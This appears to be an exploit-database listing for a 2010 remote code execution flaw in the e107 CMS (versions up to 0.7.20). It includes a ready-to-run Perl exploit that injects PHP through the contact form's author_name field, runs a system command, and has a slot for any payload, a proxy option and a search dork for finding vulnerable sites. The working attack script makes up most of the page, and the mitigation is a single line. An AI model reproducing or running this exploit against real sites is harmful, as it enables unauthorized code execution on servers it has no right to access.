header-logo
Suggest Exploit
vendor:
e107
by:
McFly@e107.org
7,5
CVSS
HIGH
Code Execution
78
CWE
Product Name: e107
Affected Version From: 0.7.20
Affected Version To: 0.7.20
Patch Exists: YES
Related CWE: N/A
CPE: e107
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux/Windows
2010

e107 Code Exec

This exploit allows an attacker to execute arbitrary code on a vulnerable e107 version <= 0.7.20. The exploit is triggered by sending a malicious POST request to the contact.php page with a specially crafted payload. The payload is then executed on the server.

Mitigation:

Upgrade to the latest version of e107.
Source

Exploit-DB raw data:

# Exploit Title: e107 Code Exec
# Date: 05/22/10
# Author: McFly@e107.org
# Software Link: http://e107.org/edownload.php
# Version: e107 <= 0.7.20
# Tested on: Linux/Windows

#!/usr/bin/perl -w
#################################################
# e107 Code Exec // SploitAuthor: McFly@e107.org
#################################################
# These scrubs still haven't released an update!
# Here is a little bit of motivation for them to
# patch one of the most popular, and insecure of
# the PHP web apps available today. 
#################################################
# DORK: inurl:e107_plugins
#################################################

use LWP::UserAgent;

my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
my $load = 'passthru(chr(105).chr(100))'; # Simple 'id' command. Put ur PHP payload here! :)

# Remove comment for proxy support
my $proxy = 'http://127.0.0.1:8118/';
$ENV{http_proxy} = $proxy ? $proxy: 0;

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0");

if ( $proxy )
{
	print "[*] Using proxy $proxy \n";
	$ua->env_proxy('1');
}

my $req = new HTTP::Request POST => $path;
   $req->content_type('application/x-www-form-urlencoded');
   $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");

my $res = $ua->request($req); 
my $data = $res->as_string;

if ( $data =~ /<td class=["']main_section['"]>(.*)/ ) 
{
	$data = $1;
	print "$data\n";
}
else
{
	print "$data\n";
}